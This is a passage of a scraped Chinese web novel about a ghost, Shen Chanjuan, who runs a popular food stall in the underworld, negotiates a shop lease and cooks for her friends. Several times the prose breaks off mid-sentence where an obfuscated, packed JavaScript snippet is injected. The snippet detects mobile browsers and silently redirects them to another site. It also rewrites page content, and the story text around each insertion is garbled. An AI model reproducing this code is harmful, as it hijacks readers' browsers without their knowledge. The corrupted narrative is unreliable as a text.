见状，司殷眼里的笑意深了几分，越发显出些暗紫色。 他慢条斯理地伸出手，去拿烤盘最上的巧果。 沈婵娟顾不得生气，连忙去拦：“你别碰——” 不过可惜，司殷的手先一步落在烤得金黄的巧果上。 完了。沈婵娟绝望地闭上眼。 “沈老板？你没事吧？” 司殷关切的声音传来，沈婵娟深呼几口气，睁开眼准备面对现实。 不过，眼前的场景却出乎她意料——烤盘里的巧果仍然胖胖地堆在一起，没有任何腐败的迹象。 司殷细长的手指捏住麻巧的两侧，背后是他笑得眯起的眼睛。 “这个看起来很可爱，不小心就伸手去拿了，沈老板不会怪我吧？” 沈婵娟满心震惊，懒得和他理论。 这是什么情况？他能直接碰这些食物？ “沈老板每日都这么忙，不如考虑考虑，将我这么一个有能力的鬼，收作帮工？” 司殷似笑非笑的声音传入沈婵娟耳中，仿佛蛊惑一般。 沈婵娟心情复杂地端详着他。 似乎是看穿了她的顾虑，司殷适时道：“多考虑几天也无妨。” 而后，身形一闪，不见踪影。 “老板，我要一个鲷鱼烧形状的！不要芝麻！” 沈婵娟猛地回神，打起精神应付涌上来的客人。 “来一个玉桂猫的，要芝麻口味。” “小沈，要一个福字巧果。” “能淋一勺果酱吗？” 沈婵娟一面忙活着生意，一面认真地思索司殷的话。 抛开别的不谈，单接触食材不会腐烂这点，司殷就不费吹灰之力秒了所有人。 而且他脸长得也好，沈婵娟巴不得他卖色搞个美男厨师的噱头吸引顾客。更何况，沈婵娟若是想开店营业，单她一个鬼，是绝对忙不过来的。 不过，话又说回来，沈婵娟看不透司殷，也不太想和他共事。他出手阔绰，举止风流，沈婵娟不知道这男鬼来应聘的目的是什么，也不觉得这个大少爷会安于一方厨房，老实地给她打下手。 沈婵娟叹了口气，和司殷沾上关系的事，怎么都这么麻烦。 司殷却不知她的心理活动，他悠哉地回了地狱，手里还捏着那枚锦鲤巧果。 巧果胖乎乎的，正面的锦鲤纹路深而清晰，带着星星点点的黑芝麻，被烘成了烤面包的色泽。 甫一入口，便能尝到巧果保留着的热度，面皮松软香甜，内馅扎实有嚼劲，表面芝麻的香气被完全烘烤出来，带着轻微的焦香，与香甜的内里结合得十分完美。 巧果不算大，饶是司殷再小口，也很快就吃完了。 他嘴里还残留着香甜的余味和芝麻香，看着空落落的手掌，司殷居然莫名地有些惆怅。 这么好吃的东西，一天却只能吃一个。 他在铜柱上倒身睡去，并不知道已经中了沈婵娟的圈套。 今日售卖的巧果几乎是以成本价放松，既能刷一波顾客好感，又能通过七夕氛围拉进主客关系，再用限购的方式和无可替代的好风味使食客欲罢不能、抓心挠肝。 这个圈套就叫做，饥饿营销。 * 因为卖的是成品，所以沈婵娟收摊很早，临走之前，她从项链里拿出一个精致的盒子，递给旁边的云寄锦：“拆开看看？” 云寄锦见她神神秘秘的，不知沈婵娟葫芦里卖的什么药，好奇地拆了包装。 礼盒里是九个不同形状的麻巧和巧果，八个不同形状的巧果众星捧月，围着中间那个最为特别的巧果：一头卷曲的大波浪，别一个白云发卡，两个豆豆眼并一个微笑的嘴巴，手里拿着一只小巧的笔，是云寄锦常用的羊毫。 她又惊又喜，端着盒子朝沈婵娟飞吻：“谢谢！我们沈老板手艺这么好！捏得这么像！” 沈婵娟笑了笑：“你喜欢就好，若说谢，我才要谢你照顾我的小摊。” 她摆摊的时间虽然不久，但来排队的鬼却很多，几乎每日，云寄锦都会自发地帮她监督鬼们排队，还会帮她揪出占小便宜的鬼。沈婵娟的小摊能顺利到今天，也多亏了云寄锦的热心肠。 “现在可是你照顾我啦。”云寄锦捏了捏她的脸。拜沈婵娟火爆的小摊所赐，她这个邻居也沾了不少光，光顾她摊位的鬼比往日多了不少。 见沈婵娟又要推脱，云寄锦连忙挽着她，抢先道：“不说这些客套话，你累了一天，回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15178565|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 休息吧？” 沈婵娟知她好意，笑着与她道别：“那我先走了，你也早些回去。” “知道了！你还唠叨上我了？” 沈婵娟狡黠地眯着眼，挥手和云寄锦道别。 不过她却不是要回家，而是要去另一个地方。 * 眼前一幢类似四合院的房子，中间的天井很宽敞，但两面外墙的配色却半黑半白，明显住了两个鬼，而且是井水不犯河水的两个鬼。 沈婵娟抬手敲了敲门，想着她一路找来的顺利，心里莫名想笑。 这幢黑白无常宅之所以好找，是因为在地府百路通上，它被列为“地府十大必打卡景点之一”，在首页的“猜你想去”上名列前茅，而且还附带图文解说，生怕有鬼找不到。 “小沈？你怎么来了？”小白睡眼惺忪地打开门，惊讶道。 沈婵娟扬了扬手里的礼盒：“来当七夕老奶奶。” 小白一头雾水：“你？老吗？” 沈婵娟笑着把礼盒递给他：“是来送礼物的意思，拆开看看？” 之前提过七夕要给小黑小白送巧果，她可一直记到现在。 闻言，小白迫不及待地拆开礼盒，第一眼就看到了中间特殊的拟人巧果：鼓起的脸颊上两粒黑色的豆豆眼，手握一根白色长棒，双唇呈“一”字形，显得十分可爱，又隐隐有些英气。 不过，最令小白震惊的是，那个巧果小鬼的下颚背后，有一个如他本人喉室处一模一样的红色印章，上面写着“必安”。 小白泪眼汪汪地看着沈婵娟，不顾睡觉的小黑死活，哭嚎道：“小沈！！谢谢！！这个我好喜欢！你把我捏得这么可爱还这么帅！” 沈婵娟见他开心，也眯着眼睛笑起来，刚想开口，就听一道冷如冰霜的声音传来：“你在鬼哭狼嚎什么？” 小黑头上顶着一个眼罩，浑身散发着被吵醒的怨气。 不过很快，他就飘过来：“这是什么？” “不准动！”小白气愤地打掉他的手，臭屁道：“这是小沈给我做的，你没有份！” 小黑翻了个白眼，重新看向沈婵娟，神色冷艳又矜持。 沈婵娟憋着笑，拿出了另一个礼盒。 小黑不客气地朝小白冷哼一声，转头向沈婵娟认真道：“谢谢。” 礼盒被他三下五除二拆开，仍然是九个不同的巧果，中间的那个面团小鬼，脸颊比小白的瘦一些，眉形冷峻，豆豆眼微微眯起，嘴角向下撇着，很像小黑平时冷着脸的样子。 另外，脸颊处还有还有一个红色方章，内里写着“无咎”，手里一串黑锁链，都是沈婵娟根据传说想象的。 小黑伸出手指，轻轻碰了碰那个巧果的脸颊，而后，露出一个极浅的笑，朝沈婵娟道：“我很喜欢。” 沈婵娟摆手轻笑：“你们喜欢就好。” 小白看着小黑那个巧果，突然道：“小沈，小黑的刺青不在脸上。” “我知道。” 见小白面露疑惑，沈婵娟又道：“只是我没见过小黑的刺青，干脆就画在脸上了。” 小白恍然大悟，将沈婵娟拉到角落，偷偷道：“小沈，你别告诉别人啊。” 沈婵娟严肃地点点头。 “小黑的刺青，”小白谨慎地看了一圈，小声道：“在肩膀上。” 沈婵娟挑了挑眉。 小黑的刺青，刻的不会是无咎精忠报国吧？ 没等她把这个笑话分享给小白，就见一道漆黑的身影飘到小白身后，而后，伸出手重重打了他一下。 小白愤怒回头。 小黑面露警告之色。 小白和沈婵娟对视一眼，噤若寒蝉。 15. 酒心黑巧 小沈美食摊不开张的日子，吴诗珂除了寂寞，还是寂寞。 一想到沈婵娟的冰淇淋船和灌汤小笼，那清甜的草莓香、滚烫的灌汤滋味，她口水都要流下来了。 可惜可惜，最近都没有吃到。吴诗珂翻了个身，惆怅地打开了地府东城论坛。 【小沈美食摊每日食谱参考楼】 【美食摊个人纪念图楼】 吴诗珂点进帖子，看到东城鬼晒出的糖葫芦和巧果，忌妒得内心冒酸水， 若是沈老板的美食摊在南城就好了。 再不济，她能搬到东城就好了。 思及此，吴诗珂长长地叹了一口气。 她的移城申请递交了好几日，等过了初一等过了十五，至今，黄泉那厮居然还没有给她一个答复！ 吴诗珂想到黄泉，怒从心起，一拳打在南城公民每鬼一个的黄泉Q版抱枕上，捶了好几拳才出气。 叮咚。 她拿起手机，只见一个半人面半枯骨的独特样式发来提示：您的移城申请已回复。 吴诗珂一个鲤鱼打挺坐起来，紧张得一双手都出了薄汗。 这次，总不能再拒绝她了吧？她移城的诚心，日月可鉴啊！ 吴诗珂颤抖着去点那个骷髅头，因为指腹微濡，一时竟然没有点开。 她擦了一下手里的汗，再次去点，眼皮微微颤抖着，眼睛眯成一条抖动的缝。 屏幕上，一个硕大的“驳回”闪着红光。 第四次了，整整四次。 吴诗珂忍无可忍，怒上心头，将那个抱枕丢出了窗外。 别的城移城，都有程序可以办理，怎么南城鬼移城，就要看黄泉心情啊！ 她绝望地在床上躺了一会，想到黄泉每日视察南城的阴险手段，又更绝望地坐起来，飘到窗外把抱枕捡了回来。 要是被黄泉发现垃圾桶里有他，不知道要拉多少鬼去黄泉路。 她还是不要祸害别的鬼了。 吴诗珂躺在床上，无心再看那封黄泉发来的邮件。 因此，她自然没有看到，那个巨大的“驳回”下方，还有一个滑动的标识。 她只要轻轻一滑，便能看到黄泉的亲笔回复，阴森又自负。 ：总算知道为什么最近移城申请那么多。 狗爬字下方，一个不怀好意的半骷髅，占据了那小得可怜的小沈美食摊。 * 沈婵娟今日没有出摊，她准备去看看有没有合适的店铺。 虽然还没有考虑好是否要将司殷收作帮厨，但她隐隐觉得，这件事即将迎刃而解。而后，租店、扩员、破圈，似乎唾手可得，似乎命运的剧情早已写好，只等她走入一个既定的结局。 沈婵娟甩了甩头，觉得自己有些多虑了。 就算命运早已被书写，她也相信，她沈婵娟的结局会是happyending。 沈婵娟快步走到百鬼集市的租赁处，找到了负责集市店面租赁的许渠。 沈婵娟见过她，知道她更喜欢别人叫她“许姐”。许渠笑起来很亲切，但为人非常抠门，一分利也不肯让的铁公鸡。 不过今日，沈婵娟也是有备而来。 许渠见她来了，笑着站起来：“呦，我们沈老板这是，要开店了？” “哪有？”沈婵娟跟她客套，“只是想先来看看位置，开店花销太大，还不知要等到猴年马月。”她这番话，也是暗示许渠她并不急切。 “谁不知道你的小摊生意火得不得了？别跟我客气了。”许渠状似热切地冲她眨了眨眼。 沈婵娟谦虚道：“小摊生意虽好，进货成本也不低，许姐说笑了。” 许渠见状，也不直接点破，只是道：“你今日来，总不是来说笑的吧？” 沈婵娟点点头，递给她一个精美的礼品袋：“麻烦许姐办事，怎么好意思空手来？” 许渠接过，扫了一眼发现是她爱吃的巧克力，十分满意。 “许姐尝一个看看？” 许渠本就想得不得了，闻言，便不客气地拿出一袋黑巧，拆开包装尝了尝。 她自认是巧克力迷，吃过的牌子不说上千也有上百，对于沈婵娟这种手工巧克力，只是抱着打发嘴瘾的心态，随便尝尝罢了。 只是巧克力刚入嘴，许渠就不动声色地挑了挑眉。 巧克力入口即化，轻薄的表皮碎裂后，带出一股浓郁的朗姆酒香，入口的酒液很显然经过精心调制，口感圆润，味道香醇，混合着微苦的黑巧，有种历尽千帆的成熟和落寞。 许渠早已不是年轻的小姑娘了，算上在地府的年岁，她也快到了知天命的年纪。 而这份苦涩的烈酒心，才正合她的胃口。 见她喜欢，沈婵娟放心开口：“虽然还没打算好，但想先来看看位置。”她顿了顿，不着痕迹地拍了个马屁：“想来想去，还是许姐你这最好，风水好，地段好，景色也好。” 夸百鬼集市好，风水好，地段好，哪哪都好，不就是在夸，许渠这个主人的眼光好得不得了？ 许渠笑得真切了些，沈婵娟又打量起桌上的摊位薄来。 百鬼集市生意很好，留给她的位置不算多，只能粗做选择，挑了两间各有千秋的铺子。 第一间铺子在百鬼集市入口后的一条街，很容易就能找到位置，因此鬼流量也很大，店面面积大不说，还赠送铺子内的装潢，而且因为不挨着入口，所以租金便宜一些，一年二十八万阴时。 沈婵娟基本满意，但是这铺子又有两点不好。 一是不挨着百鬼梧桐的街区，虽然对别人来说不算大问题，但不符合沈婵娟想让所有鬼吃上美食的初衷。而且长此以往，她的客流量基本会被框死，锁定在东城爱逛集市的鬼里。 二是前面有一个入口店铺遮挡，而这个店铺，就是她的死对头——地府速递。不可否认的是，预制菜的确有它的受众，若是选在这里，一些对吃什么无所谓的客人就会被分走。 第二间铺子在百鬼梧桐所在的街区上，面积稍小，因此租金便宜，一年二十四万阴时。 这间的缺点在于，铺子在集市内部，食客们飘行需要一会。其次，虽然，没有赠送装修，所以要额外支付一笔阴时用于装修。 沈婵娟考虑了一会，心里初步有了打算。 那边的许渠之前还在观察她，只是那巧克力实在美味，她对这东西最没有抵抗力，吃了再吃，不免有些醉意。 “沈老板，看得怎么样？” “还在选位置，”沈婵娟笑眯眯地试探道：“许姐，你这店面虽好，但也有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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初来地府时，沈婵娟说的垄断地府美食业，其实并不算真心，但这背后想要家喻户晓的野心，却从不有半分假意， 对面的许渠一边有些急切，一边又被沈婵娟哄得有些得意。 她和老街的林老头不对付，年年都要比营收的，按沈婵娟的势头，往后极有可能一路长虹。她绝不可能把沈婵娟放走，白白地把这么个财神让给林老头。 生意场上，便是一步也急不得。许渠这一急，就露了破绽。 沈婵娟知道这是稳了，便微笑道：“许姐，我也不为难你，第二间铺子，一年二十万，你看行不行？” 许渠算了下帐，便知是划算的买卖，却仍然故作不可：“二十万？！一年便宜你四万，你租个五年，我可要亏二十万！” “哪有二十万？”沈婵娟继续和她打太极：“这间铺子要我自己装修，少说还要十几万阴时，还有进货的成本与人工，店面给百鬼集市带来的客流量……许姐，这你可不亏啊。” 许渠心里也和明镜似的，思索了一会，便忍痛道：“二十万就二十万！沈老板，我可真是没赚你多少阴时！” “我当然知道。”沈婵娟笑着和她打哈哈。 拟完合同签过字，沈婵娟的店面选址，才算真的敲定。 16. 珍珠奶茶 刚拿下店面，沈婵娟就马不停蹄地开始画设计图，等她敲定完整体布局，已经是一周后的傍晚了。 而搞定了选址和装修设计，沈婵娟距离开业这一关，就只差人手这个大麻烦了。 说心里话，她心里最满意的人选是刘语凡，那个扯糖丝的小姑娘。也许厨师之间总有些特殊的默契，沈婵娟很确信，那个女孩一定和她一样，想要颠锅弄铲直到最后一刻。 只是，可惜。 沈婵娟一想到这么好的苗子都不能接触食材，偏偏司殷可以，简直想大喊天命不公。 为什么就他可以接触食材？！ 沈婵娟心里苦，再想到司殷那些“沈老板”“好朋友”“阴时到账”云云，脑海里简直不得安宁。 找司殷，真的靠谱吗？ 沈婵娟叹了口气，趴倒在茶几上，想着让司殷来试试算了，没多久便起了睡意。 半梦半醒间，门铃好像响了。 沈婵娟连忙去开门，发现是几日未见的云寄锦。 她把手背在身后：“surprise！怎么样，想我了吗？” “你怎么来了？”沈婵娟有点吃惊。 “下班路过来看看你。”云寄锦顿了顿，还是没忍住吐槽，“你几天没去摆摊，那些打听你的鬼都快把我烦死了。” 闻言，沈婵娟有些得意：“唉，太有魅力也是罪。” 云寄锦笑着去打她，一抬头，就看到了墙上那副番茄炒蛋Q版画。 “你画的？” 沈婵娟回头看了一眼，摇摇头：“不是，一个朋友送的。” “你朋友……”云寄锦指了指画上一黑一白的两个小人，“黑白无常？” 沈婵娟点点头，请她去客厅坐。 “可以啊小沈！”云寄锦挤眉弄眼地看着她：“黑白无常都要给你画画。” 明明是给番茄炒蛋画画。 沈婵娟作势要打她，云寄锦连忙闭嘴，又瞥了两眼挂画，冷艳地直奔客厅而去。 画得是不错，不过，没她画得好。 刚坐下，一个礼品袋被递到沈婵娟面前。 “看看，喜欢吗？” “人来了就行，还带礼物做什么？”沈婵娟看着她，没有去接。 “这可是实用的东西。”云寄锦把袋子塞到她手里，示意她打开看看。 沈婵娟不好意思地接过来，只见礼品袋里躺着一副喜庆的红对联，还有一个卷起来的小圆筒。 “你没出摊那几天，我就想着，小沈肯定去看店面了。”云寄锦和她挨着坐下：“怎么样，这礼物及不及时？” 沈婵娟打开拆开包装，对联上的题字铁画银钩，仿佛笔走龙蛇，天然一股恢弘气势。 金粉勾兑的浓墨在灯下熠熠生辉，上联是门迎八方客，下联接一句业胜四季天，横批：客似云来。 这礼物真如云寄锦所说，及时得不得了。 沈婵娟左看右看，越觉得纸好，字好，意境更好。 见她的喜欢能从眼睛里溢出来，云寄锦勾了勾嘴角，示意她打开那个小圆筒看看。 打开的圆筒是一张红纸，上书一个“福”字，中间的“口”被换成了一个Q版小人：头上戴着厨师帽，一只眼睛又黑又圆，另一只则眯起来，嘴巴轻轻抿起，露出一个温和又狡黠的样子。 是沈婵娟。 沈婵娟吃惊：“这是我吗？画得好可爱！” “那当然。”云寄锦爽朗笑道，“喜欢吗？” “喜欢！” 何止是喜欢，沈婵娟是超级无敌喜欢，恨不得立马开业，让所有鬼都看到这个有她的“福”字。 她可是既有Q/Q人又有福的鬼了！ 见她喜欢，云寄锦也笑起来：“你喜欢就好。” 管它什么小黑小白亲笔作画，他们能让沈婵娟这么开心吗？ 切，肯定不能。 在心里演了一场得胜归来戏码的云寄锦：“肯定没有鬼比我更早送祝福吧？” 见她一脸不怀好意的样子，沈婵娟不解地点点头。 云寄锦捏了一把她的脸：“还不做点好菜谢谢本小姐？” “遵命，小姐。”沈婵娟笑着应她。 看着沈婵娟朝厨房走去的背影，云寄锦勾起嘴角笑了笑。 祝你开业大吉，财源滚滚。 就算这话没有说出来，云寄锦也相信，如果是沈婵娟，那一定就没问题。 进了厨房的沈婵娟对云寄锦的心理活动一无所知，因为此时，她正忙着用念力配菜。 一个合格的厨师，怎么能让食客空着肚子走。就算走，也要吃得饱饱的，然后连吃带拿地走。 先将黄牛肉切成均匀的薄片，先后放入生抽、蚝油、淀粉抓匀，再将姜切成细丝、朝天椒切成小块，洗净芹菜切成小段备用。 把洗过的鸡翅划几刀，放入锅中并姜片煮开，沥干的鸡翅放入热好的油锅中煎香，而后放入老抽与料酒，倒入整瓶可乐，烧开后盖上锅盖焖煮，当锅内的汁收得粘稠后，便撒上炒香的白芝麻出锅。 而后在锅中下入腌好的黄牛肉，变色后便马上捞出，倒入葱蒜和辣椒爆香，芹菜炒至断生后再倒入牛肉翻炒，放一小把水嫩的香菜提味。 最后一道酸辣白菜很简单，将娃娃菜切成块状，爆炒后下入调料调味，并几根切碎的小尖椒翻炒。 沈婵娟端着菜出来时，云寄锦已经坐在餐桌前等她了。 “好香啊！” 沈婵娟心里高兴：“你先吃着，还有一个。” “够了够了，你别做啦。”云寄锦伸手去拦她。 还没碰到沈婵娟，她手里就被塞了一碗热乎的米饭，沈婵娟又进了厨房，神神秘秘地把门关上了：“不准偷看！” 这是要干什么？云寄锦有点迷惑。 不过，既然沈婵娟这么说了，她也就耐心地等着，等到空气里传来一股带着兰花香气的醇厚茶香。 这味道，似乎是大红袍？ 不一会，又有一股香甜的奶味溢出来，夹杂着馥郁的茶香和浓郁的黑糖味，闻起来甜丝丝的。 云寄锦愣住了。 她不过是闲暇回家路上，和沈婵娟随口提过一嘴——她生前是个不折不扣的奶茶狂魔，市面上的奶茶，无论品牌口味，就没有她没喝过的。 云寄锦死后，在这鸟不拉屎的阴曹地府，愈发馋那一口热量爆炸的甜，尤其馋奶茶里的黑糖珍珠，嚼起来又软又弹。 她记得自己还说，珍珠要煮得色泽浓郁，又Q又弹，才算地道。 那边厨房的门被打开，沈婵娟走到餐桌前，把一个玻璃杯递给云寄锦。 她的手指刚碰到 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15197036|165014||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杯沿，热乎乎的奶茶温度便将她的手烘得暖洋洋的。玻璃杯壁上挂着浓稠的黑糖，珍珠粒粒分明，颗颗饱满。炒得香浓的奶茶不断地冒出热气，带来浓郁的甜香。 云寄锦想，一定是奶茶蒸发的水汽太烫，熏到了她的眼睛。 不然，她怎么会有点想哭？ “尝尝我的奶茶和你想的一不一样？”沈婵娟含笑看着她。 云寄锦没说话，掩饰般地抬起杯子，试探般喝了一小口。 刚出锅的热奶茶很烫，大红袍的香气席卷鼻腔，滚烫的奶茶滑入喉咙，只留下一点温暖的余香。 再喝一口，香浓的奶茶像丝绸一样滑过舌尖，黑糖珍珠却嚼劲十足，的确像云寄锦想的那样，色泽浓郁，又Q又弹。 云寄锦品味着暖烘烘的奶茶，仿佛身在山野茶园的阳光下，又仿佛去到了无垠的牧牛草原。 她手里的杯子还热着，连带着胸腔里也是沸腾的。云寄锦无比确信，此时此刻，她的心脏在歌唱，她的灵魂在跳舞，她的状态叫做幸福。 放下奶茶，装一碗香软的米饭，配一口酸辣的小白菜。白菜炒得很嫩，蘸一下底部的汤汁送入口中，香醋的酸和尖椒的辣在舌尖交织，配上喷香松软的米饭，开胃又下饭。 再来一筷子香嫩的黄牛肉，带着芹菜和爆炒的干香，辣味爆炸般在嘴里席卷，云寄锦感觉舌头都被辣麻了，但又辣得上瘾，带来一种愉悦的爽感。舌尖都隐隐作痛，但云寄锦总忍不住一夹再夹。 实在辣得不行，就来一个黏糊的鸡翅，可乐鸡翅表皮裹满了浓汁，甜咸口的，鸡肉又香又嫩，用嘴轻轻一撕，就能将骨肉分离，吃起来又快又爽。 不知过了多久，云寄锦放下筷子，满足地朝沈婵娟竖了一个大拇指。 她死了这么久，就没吃过这么香的一餐饭。离开沈婵娟家，她上哪再吃这么一顿饱饭啊？ 想到临近分别，云寄锦不免惆怅。 忽然，一个食品袋被递到身前，云寄锦接过，发现里面是十来个浑圆的大包子，包子口被捏成优美的螺旋型。 云寄锦眉开眼笑。 小沈！怎么！这么懂她啊！ * 沈婵娟一连收摊几日，东城的鬼都快想死她了。 见她出现，一个个鬼哭狼嚎，巴不得冲上去抱住她的大腿，求她不要再莫名其妙地消失了。 “沈老板，你走的这几天，你知道我们过的什么苦日子吗？！” “三天一凉水，两天一热水，嘴痒了吃点预制菜凑活。” “我真是服了，都下地府了还躲不过预制菜，无语。” “活着还没吃够预制菜啊？地府炸了我也不吃预制菜。” “老板——我要像大蟒蛇一样缠着你——” 沈婵娟没忍住笑了笑，大声道：“感谢大家这么多天的支持——再过一周，小摊就会搬到百鬼集市梨花巷仲7号。开业第一天，全场8折，欢迎大家赏脸！” “终于能坐着吃饭了，好耶！” “沈老板你一声令下，我们东城鬼都听你号令！” “号令啥啊，你当我们阴兵过境啊？” 眼见众鬼心思飞到了下周，急着吃饭的鬼：“沈老板，我们今天吃啥呀？” 沈婵娟拿出一个用于煎炸的大锅，开火热油：“闻一闻，就知道了。” 17. 湘臭豆腐 众鬼闻言，纷纷凑上去吸了吸鼻子。 沈婵娟哭笑不得，她都还没拿出来，怎么就开始闻了？ 旋即她从项链里拿出一个密封的的咸菜坛子，甫一开盖，便有一股浓郁的臭味扑面而来。 “臭豆腐？！我老家的诶！” “道理我都懂，但是到底为什么咳咳咳……为什么这么臭啊？！” “呕——” “你别吐我身上！” 南辰好不容易止住干呕，就见沈婵娟将那其臭无比的豆腐丢入油锅。 他目瞪口呆。把这臭东西放进去炸干什么？ 南辰本以为这股臭味足够劝退一大波鬼，却没想到随着豆腐下锅，周围的鬼们纷纷露出一种痴迷陶醉的表情。他们不仅不觉得这东西恶心，反而还喜欢得不得了那样子，南辰觉得人类都疯了。 这东西用脚想都知道不能吃吧。他心里嘀咕着，不小心说了出来。 话音刚落，几道鄙夷的目光接连朝他射来。 “天啊，哪来的土包子，臭豆腐都不知道？” “闻起来臭，吃起来香，这话你没听说过？” “臭豆腐吃的，就是一个臭字，你不想吃就赶紧出去。” 南辰憋屈地闭了闭眼。 这群该死的人类！如果不是北潇湘感兴趣，他才不想来！而且这群人类说得好像他南辰才是没见过世面的土鳖！ 南辰面色缤纷，在心里暗暗发誓，不管人类说得多好听，他也绝不会吃那豆腐一口。 只是刚一抬头，又见排到的鬼拿着一碗臭豆腐，朝碗里狠狠吸了一口气，似乎很享受的样子。 这都都觉得香？ 南辰震惊地扯了扯嘴角，心内狐疑：这群人类在人界到底过的什么日子？不是说吃得很好吗？ 他双手合十，默默给远在北城的北潇湘点了柱香。他就说今天运势不佳吧，前几日的糖葫芦、烤鸡翅一个没赶上，偏偏等到了这其臭无比的豆腐。 唉。南辰不着痕迹地叹了口气。 只是来都来了，那就先排着吧。 这小沈美食摊的食物，可是他娇蛮的主上，这阵子最感兴趣的东西。 南辰付了两份的阴时，好整以暇地看着沈婵娟开炸。 她利落地将豆腐丢入滚热的油锅，那臭气熏天的豆腐立刻变成诱人的金黄色，南辰站得近，这才闻到那种臭气散开后的油炸香气。 膨胀的豆腐被炸得酥脆，倒入蒜泥、尖椒、胡椒粉和炒香的白芝麻，用烧得滚烫的热油一泼，激出调料的香味，而后再撒一些炸得酥脆的黄豆和爽口的萝卜干，一碗又香又臭的臭豆腐就做好了。 南辰没忍住嗅了嗅，空气里那股臭气早已散得干干净净，只留下热腾腾的蒜泥味和辣子香。 闻起来，居然还不错？ 南辰觉得自己也疯了，给了自己一巴掌清醒。 南辰你睁大眼睛看清楚！这可是发臭的豆腐啊！这怎么能吃！ * “这是什么？”北潇湘端着那碗臭豆腐闻了闻，又表情诡异地拿远了一些。 “据人类所说，是一种叫臭豆腐的小吃。” “臭豆腐？”北潇湘露出一个微妙的笑，看向座下恭敬的南辰。 南辰自然是感知到了她的目光，只是不知道北潇湘又在打什么鬼主意。 座上的女子形如鬼魅一般出现在他身边，笑声如铃：“我看你，好像很不喜欢它的味道？” 闻言，南辰面色复杂。 他现在很纠结，不知道该答是还是不是。若说是，不信邪的北潇湘会让他吃。若说不是，乐衷和他作对的北潇湘也会让他吃。 南辰觉得自己命好苦。 北潇湘伸出手，轻轻抬起了他的下巴：“看来你不喜欢。” 南辰和她的眼神不过接触了一秒，他便立即垂下眼，不敢再看对面的北潇湘。 “你怕什么？” “我没怕。”他梗着脖子硬撑。 “那你吃一块试试。” 南辰见北潇湘误解了他的意思，无奈地闭了闭眼。 这臭豆腐虽然也可怕，但他嘴巴一闭一张也就吃了。 他真正“怕”的，从来就不是这臭豆腐。 忽然，鼻尖传来一股油炸过的香气，隐隐还夹杂着一点臭气。 南辰迟疑地睁开眼，眼前正是一块金黄的臭豆腐。见北潇湘期待的样子，他无奈地吐出一口气，视死如归地朝那块豆腐咬去。 在北潇湘面前，丢什么不能丢面子！今天这豆腐就算是泔水他也……嗯？！ 入口的豆腐外皮很酥，齿尖微微用力，表皮就碎在口中，嫩滑的豆腐内部浸满了香热的汤汁，轻轻一咬，汁水便喷溅而出，带来刺激的辣味和胡椒香。作为辅料的萝卜干和黄豆也别有风味，萝卜干又脆又爽口，黄豆则炸得香脆。 真香。 见南辰激动的样子，北潇湘也将信将疑地吃了两块。 的确美味。 南辰见她也喜欢，心里更开心了些，不遗余力地笑着，想让她多吃些。 见南辰那么高兴的样子，北潇湘不满地撇开了头。 她送给南辰的白玉挂饰，他怎么就没有这么喜欢的样子？ 北潇湘在心里哼了一声，南辰喜欢的臭豆腐，她也不要喜欢。 南辰不知她的心情为何突然急转直下，关切道：“潇潇，你怎么了？” 北潇湘心里有点酸酸的，任性道：“我不喜欢这味道，你将它丢了。” 语罢，她便又形如鬼魅一般消失在空气里。 南辰不知道北潇湘怎么想的，他端着那碗无辜的臭豆腐，无奈地叹了口气。凡是北潇湘不喜欢的东西，绝对禁止再出现在北城。他与这美食的缘分，估计也就到此为止了。 思及此，他犹豫地动了动手腕。 他对于北潇湘的话，向来都是言听计从的，但是这臭豆腐……真的很香啊！ 丢，还是不丢，这是个问题。 丢，他往后怕是没机会再吃到这般美食，虽然他几分钟前还对这美食大放厥词；不丢，被北潇湘知道，是绝不会轻易放过他的。 南辰托着腮，感觉有些头疼。 最终，在吃还是不吃的两难里，他选择窝囊地吃两块再丢。 * 消失的北潇湘不在别处，正在沈婵娟小摊附近，遥望着摊前忙碌的沈婵娟。 她的内心很矛盾。 平心而论，北潇湘一方面觉得沈婵娟实在平平无奇。无论是长相还是身材，这个老板都没有太出挑的地方。 但另一方面，北潇湘看着沈婵娟烹炸的模样，又觉得她十分瞩目。 沈婵娟身姿笔挺，夹豆腐、入锅、煎炸、出锅，她不过是手腕轻轻一甩，便自有一股浑然天成的自信风流。 而且北潇湘能感觉到，沈婵娟对于烹饪，对于她此时正在做的事情，确有一份发自内心的热忱。这份热忱将她的眉眼点染得熠熠生辉，让沈婵娟在乌压压的茫茫鬼海里，显得如此与众不同。 感受到身上灼热的视线，沈婵娟抬头望去，发现源头是一个十八九岁的小姑娘。 她一身华丽的公主裙，满身娇蛮气质，只是一双细眉微微皱起，好像很不开心的样子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 